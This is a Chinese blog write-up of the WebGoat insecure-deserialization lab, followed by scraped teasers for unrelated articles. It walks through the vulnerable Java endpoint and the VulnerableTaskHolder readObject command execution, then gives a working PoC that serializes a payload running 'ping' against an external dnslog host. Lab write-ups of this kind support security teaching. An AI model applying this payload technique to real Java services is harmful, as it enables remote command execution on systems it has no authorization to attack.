WebGoat JAVA反序列化漏洞源码分析
目录
InsecureDeserializationTask.java 代码分析
反序列化漏洞知识补充
VulnerableTaskHolder类分析
poc 编写
WebGoat 靶场地址:GitHub - WebGoat/WebGoat: WebGoat is a deliberately insecure application
这里就不介绍怎么搭建了,可以参考其他文章。如下输入框输入数据,提交进行反序列化操作
发现请求路径为 "InsecureDeserialization/task",请求参数为 token
全局搜索该路径,最终定位到如下文件
InsecureDeserializationTask.java 代码分析
提取出InsecureDeserializationTask.java 的主要代码如下,从代码可以看出:
- 服务器接收一个 post 请求,路径为"/InsecureDeserialization/task",请求参数为 token。并且将 token 参数中的 - 字符替换为 +,_ 字符替换为 / 。可能因为在某些情况下,由于URL或文件名的限制,Base64编码中的 + 和 / 字符可能会被替换为 - 和 _,所以这里再替换回去。
- ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token))) 含义是通过Base64解码得到字节数组,然后利用这些字节数组创建对象输入流。
- 最后 Object o = ois.readObject() 执行反序列化操作。当readObject()方法被调用时,Java虚拟机(JVM)会根据字节流中的信息来查找并加载相应的类,这里是VulnerableTaskHolder类。所以此时系统会寻找并加载VulnerableTaskHolder类
public class InsecureDeserializationTask extends AssignmentEndpoint {@PostMapping("/InsecureDeserialization/task")@ResponseBody//定义一个返回AttackResult类型对象的方法,方法名为completed//方法接受一个名为token的参数,该参数通过HTTP请求的查询参数(@RequestParam)获取。String类型表示这个参数是一个字符串。public AttackResult completed(@RequestParam String token) throws IOException {String b64token;long before;long after;int delay;//Base64编码通常使用A-Z, a-z, 0-9, +, / 这64个字符来表示。然而,在某些情况下,由于URL或文件名的限制,Base64编码中的 + 和 / 字符可能会被替换为 - 和 _//将字符串中所有的 - 字符替换为 + 字符, 将所有的 _ 字符替换为 / 字符b64token = token.replace('-', '+').replace('_', '/');//Base64.getDecoder().decode(b64token) 将 Base64 编码的字符串解码为字节数组// ByteArrayInputStream()创建字节输入流,以便能够以流的方式读取这些字节。//new ObjectInputStream 创建对象输入流try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))){before = System.currentTimeMillis(); //反序列化前记录当前时间戳//执行反序列化,并将反序列化后的对象赋值给类型为 Object 的变量 o//当readObject()方法被调用时,Java虚拟机(JVM)会根据字节流中的信息来查找并加载相应的类,这里是VulnerableTaskHolder类。Object o = ois.readObject();if (!(o instanceof VulnerableTaskHolder)) { //检查反序列化得到的对象o是否是VulnerableTaskHolder类的实例...}after = System.currentTimeMillis(); //反序列化后记录当前时间戳} ...//得到反序列化操作所花费的时间(以毫秒为单位,如果所耗时间在3000毫秒到7000毫秒之间则成功delay = (int) (after - before);if (delay > 7000) {return failed(this).build();}if (delay < 3000) {return failed(this).build();}return success(this).build();}
}
反序列化漏洞知识补充
要想将某个字节序列反序列化为对象,该对象所属的类必须已经存在于系统中,具体来说,必须能够被Java虚拟机(JVM)的类加载器所加载。即VulnerableTaskHolder类必须存在,如果存在则会加载VulnerableTaskHolder类。加载后,JVM 会创建一个该类的实例,用于接收从序列化数据中读取的字段值。
如果被反序列化的类自定义了 readObject
方法,JVM 会在反序列化过程中自动调用该方法。即如果VulnerableTaskHolder 类中存在readObject 方法,并且方法中包含了不安全代码,那么这可能会导致反序列化漏洞的发生。
VulnerableTaskHolder类分析
所以我们看下VulnerableTaskHolder类是否自定义了readObject 方法,发现不仅存在readObject 方法,而且存在命令执行函数,命令执行的参数为成员变量 taskAction。这里仅仅判断了taskAction 值是否以 ping 或者 sleep 开头。
到此,反序列化漏洞的基本条件似乎都被满足了。那如何触发漏洞了?首先需要实例化一个VulnerableTaskHolder类,将其序列化然后 base64 编码即可。其实就是如下 InsecureDeserializationTask 中反序列化的逆过程。
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))
poc 编写
package org.dummy.insecure.framework;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;public class test {public static void main(String[] args) {try {//创建一个ByteArrayOutputStream实例, 用于在内存中创建一个字节数组缓冲区。这个缓冲区会随着数据的写入而自动增长。// 这个类的用途通常是将数据写入到一个字节数组中,而不是写入到文件或网络等外部资源中。ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//ObjectOutputStream将使用ByteArrayOutputStream提供的字节数组缓冲区来存储序列化的对象数据。//换句话说,ObjectOutputStream是负责将对象序列化为字节序列的“写手”,而ByteArrayOutputStream则是它用来存放这些字节序列的“容器”。ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);VulnerableTaskHolder taskHolder = new VulnerableTaskHolder("ping", "ping pwqqq1.dnslog.cn");//将taskHolder对象序列化为字节序列,并将这些字节序列写入到ObjectOutputStream所使用的ByteArrayOutputStream的字节数组缓冲区中。objectOutputStream.writeObject(taskHolder);objectOutputStream.flush(); // 确保所有数据都被写入到输出流中// 从缓冲区获取序列化后的字节数组byte[] serializedBytes = byteArrayOutputStream.toByteArray();// 使用 Base64 编码字节数组String b64token = Base64.getEncoder().encodeToString(serializedBytes);// 输出编码后的字符串到屏幕上System.out.println(b64token);// 关闭流objectOutputStream.close();byteArrayOutputStream.close();} catch (IOException e) {e.printStackTrace();}}
}
运行后得到 poc
复制,然后发送,即可进行 ping 操作,成功触发反序列化漏洞
相关文章:

WebGoat JAVA反序列化漏洞源码分析
目录 InsecureDeserializationTask.java 代码分析 反序列化漏洞知识补充 VulnerableTaskHolder类分析 poc 编写 WebGoat 靶场地址:GitHub - WebGoat/WebGoat: WebGoat is a deliberately insecure application 这里就不介绍怎么搭建了,可以参考其他…...

大数据-161 Apache Kylin 构建Cube 按照日期、区域、产品、渠道 与 Cube 优化
点一下关注吧!!!非常感谢!!持续更新!!! 目前已经更新到了: Hadoop(已更完)HDFS(已更完)MapReduce(已更完&am…...

uni-app使用v-show编译成微信小程序的问题
问题 在uni-app使用v-show语法编译成微信小程序会有一个问题 当我们设置成v-show"false" 在Hbuilder X里面确实没有显示 然后运行到 微信开发程序里面 发现显示了出来,说明设置的 v-show"false"没有起作用 解决办法 首先去uniapp官网查看v…...

充电宝租赁管理系统网站毕业设计SpringBootSSM框架开发
目录 1. 概述 2. 技术选择与介绍 3. 系统设计 4. 功能实现 5. 需求分析 1. 概述 充电宝租赁管理系统网站是一个既实用又具有挑战性的项目。 随着移动设备的普及和人们日常生活对电力的持续依赖,充电宝租赁服务已成为现代都市生活中的一项重要便利设施。它不仅为…...

喜讯!迈威通信TSN产品通过“时间敏感网络(TSN)产业链名录计划”评测,各项指标名列前茅
TSN技术,作为推动企业网络化与智能化转型的关键力量,已成为工业网络迈向下一代演进的共识方向,正加速重构工业网络的技术架构与产业生态。为响应这一趋势,工业互联网产业联盟携手中国信息通信研究院及50余家产学研用单位ÿ…...

国产工具链GCKontrol-GCAir助力控制律开发快速验证
前言 随着航空领域技术的不断发展,飞机的飞行品质评估和优化成为了航空领域的一个重要任务,为了确保飞行器在各种复杂条件下的稳定性,控制律设计过程中的模型和数据验证需要大量仿真和测试。 本文将探讨基于世冠科技的国产软件工具链GCKont…...

嵌入式开发:STM32 硬件 CRC 使用
测试平台:STM32G474系列 STM32硬件的CRC不占用MCU的资源,计算速度快。由于硬件CRC需要配置一些选项,配置不对就会导致计算结果错误,导致使用上没有软件计算CRC方便。但硬件CRC更快的速度在一些有时间资源要求的场合还是非…...
基于STM32的智能家居语音控制系统:集成LD3320、ESP8266设计流程
一、项目概述 项目目标和用途 近年来,智能家居产品逐渐成为家庭生活中不可或缺的一部分。为了提升家庭生活的便捷性和舒适度,本项目旨在设计一款基于STM32F407VGT6(Cortex-M4内核)微控制器的多功能智能家居语音控制系统。该系统…...

【docker】要将容器中的 livox_to_pointcloud2 文件夹复制到宿主机上
复制文件夹 使用 docker cp 命令从容器复制文件夹到宿主机: docker cp <container_id_or_name>:/ws_livox/src/livox_to_pointcloud2 /path/to/host/folder sudo docker cp dandong_orin_docker:/ws_livox/src/livox_to_pointcloud2 /home...

网络编程(17)——asio多线程模型IOThreadPool
十七、day17 之前我们介绍了IOServicePool的方式,一个IOServicePool开启n个线程和n个iocontext,每个线程内独立运行iocontext, 各个iocontext监听各自绑定的socket是否就绪,如果就绪就在各自线程里触发回调函数。为避免线程安全问题…...

【rust/egui/android】在android中使用egui库
文章目录 说在前面AndroidStudio安装编译安装运行问题 说在前面 操作系统:windows11java版本:23android sdk版本:35android ndk版本:22rust版本: AndroidStudio安装 安装AndroidStudio是为了安装sdk、ndk,…...
Git---Git打标签
打标签 像其他版本控制系统(VCS)一样,Git 可以给仓库历史中的某一个提交打上标签,以示重要。 比较有代表性的是人们会使用这个功能来标记发布结点( v1.0 、 v2.0 等等)。 在本节中,你将会学习如…...
深入理解Transformer的笔记记录(精简版本)---- Transformer
自注意力机制开启大规模预训练时代 1 从机器翻译模型举例 1.1把编码器和解码器联合起来看待的话,则整个流程就是(如下图从左至右所示): 1.首先,从编码器输入的句子会先经过一个自注意力层(即self-attention),它会帮助编码器在对每个单词编码时关注输入句子中的的其他单…...
Ubuntu 更换内核版本
更换内核脚本 这里以更换 5.15.0-88-generic 版本内核为例 cat kernel.sh#!/bin/bashapt install linux-image-5.15.0-88-generic # Ubuntu内核切换脚本# 检查是否具有root权限 if [[ $(id -u) -ne 0 ]]; thenecho "请以root身份运行此脚本。"exit 1 fi# 检查系统是…...
博士找高校教职避坑指南:史上最全的避坑秘籍
在学术的海洋中遨游多年,博士们终于要踏上寻找高校教职的征程。这不仅是职业生涯的新起点,更是一场充满未知与挑战的冒险。今天,就让我们来聊聊那些在寻找高校教职时需要避开的坑,希望能为你的求职之路保驾护航。 1. 薪资结构&am…...

Study-Oracle-11-ORALCE19C-ADG集群搭建
一路走来,所有遇到的人,帮助过我的、伤害过我的都是朋友,没有一个是敌人。 一、ORACLE--ADG VS ORACLE--DG的区别 1、DG是Oracle数据库的一种灾难恢复和数据保护解决方案,它通过在主数据库和一个或多个备用数据库之间实时复制数据,提供了数据的冗余备份和故障切换功能。…...

【C++】map详解(键值对的概念,与multimap的不同)
目录 00.引言 set 和 map 的区别 键值对的概念 01.map容器 主要特性 常用操作 主要用途 02.multimap容器 特性 常用操作 用途 00.引言 set 和 map 的区别 set 和 map 都是C标准模板库(STL)中的容器,它们的区别如下:…...

私域电商新纪元:消费增值模式引领百万业绩飞跃
各位朋友,我是吴军,专注于带领大家深入探索私域电商领域的非凡魅力与潜在机会。 今天,我想与大家分享一个鼓舞人心的真实故事。在短短的一个月内,我们的合作伙伴实现了业绩的飞跃,突破百万大关,并且用户活跃…...

AAA Mysql与redis的主从复制原理
一 :Mysql主从复制 重要的两个日志文件:bin log 和 relay log bin log:二进制日志(binnary log)以事件形式记录了对MySQL数据库执行更改的所有操作。 relay log:用来保存从节点I/O线程接受的bin log日志…...
结合大语言模型的机械臂抓取操作学习
一、 大语言模型的机械臂抓取操作关键步骤 介绍如何基于大语言模型实现机械臂在PyBullet环境中的抓取操作,涵盖机器人运动学、坐标系转换、抓取候选位姿生成、开放词汇检测以及大语言模型代码生成等模块。 1. 机器人正逆运动学基本概念 正运动学: 已知机器人的关节…...

UE5 学习系列(二)用户操作界面及介绍
这篇博客是 UE5 学习系列博客的第二篇,在第一篇的基础上展开这篇内容。博客参考的 B 站视频资料和第一篇的链接如下: 【Note】:如果你已经完成安装等操作,可以只执行第一篇博客中 2. 新建一个空白游戏项目 章节操作,重…...
基于算法竞赛的c++编程(28)结构体的进阶应用
结构体的嵌套与复杂数据组织 在C中,结构体可以嵌套使用,形成更复杂的数据结构。例如,可以通过嵌套结构体描述多层级数据关系: struct Address {string city;string street;int zipCode; };struct Employee {string name;int id;…...

使用docker在3台服务器上搭建基于redis 6.x的一主两从三台均是哨兵模式
一、环境及版本说明 如果服务器已经安装了docker,则忽略此步骤,如果没有安装,则可以按照一下方式安装: 1. 在线安装(有互联网环境): 请看我这篇文章 传送阵>> 点我查看 2. 离线安装(内网环境):请看我这篇文章 传送阵>> 点我查看 说明:假设每台服务器已…...

相机Camera日志实例分析之二:相机Camx【专业模式开启直方图拍照】单帧流程日志详解
【关注我,后续持续新增专题博文,谢谢!!!】 上一篇我们讲了: 这一篇我们开始讲: 目录 一、场景操作步骤 二、日志基础关键字分级如下 三、场景日志如下: 一、场景操作步骤 操作步…...
linux 错误码总结
1,错误码的概念与作用 在Linux系统中,错误码是系统调用或库函数在执行失败时返回的特定数值,用于指示具体的错误类型。这些错误码通过全局变量errno来存储和传递,errno由操作系统维护,保存最近一次发生的错误信息。值得注意的是,errno的值在每次系统调用或函数调用失败时…...

EtherNet/IP转DeviceNet协议网关详解
一,设备主要功能 疆鸿智能JH-DVN-EIP本产品是自主研发的一款EtherNet/IP从站功能的通讯网关。该产品主要功能是连接DeviceNet总线和EtherNet/IP网络,本网关连接到EtherNet/IP总线中做为从站使用,连接到DeviceNet总线中做为从站使用。 在自动…...
Java编程之桥接模式
定义 桥接模式(Bridge Pattern)属于结构型设计模式,它的核心意图是将抽象部分与实现部分分离,使它们可以独立地变化。这种模式通过组合关系来替代继承关系,从而降低了抽象和实现这两个可变维度之间的耦合度。 用例子…...

GitFlow 工作模式(详解)
今天再学项目的过程中遇到使用gitflow模式管理代码,因此进行学习并且发布关于gitflow的一些思考 Git与GitFlow模式 我们在写代码的时候通常会进行网上保存,无论是github还是gittee,都是一种基于git去保存代码的形式,这样保存代码…...

【从零开始学习JVM | 第四篇】类加载器和双亲委派机制(高频面试题)
前言: 双亲委派机制对于面试这块来说非常重要,在实际开发中也是经常遇见需要打破双亲委派的需求,今天我们一起来探索一下什么是双亲委派机制,在此之前我们先介绍一下类的加载器。 目录 编辑 前言: 类加载器 1. …...

Android写一个捕获全局异常的工具类
项目开发和实际运行过程中难免会遇到异常发生,系统提供了一个可以捕获全局异常的工具Uncaughtexceptionhandler,它是Thread的子类(就是package java.lang;里线程的Thread)。本文将利用它将设备信息、报错信息以及错误的发生时间都…...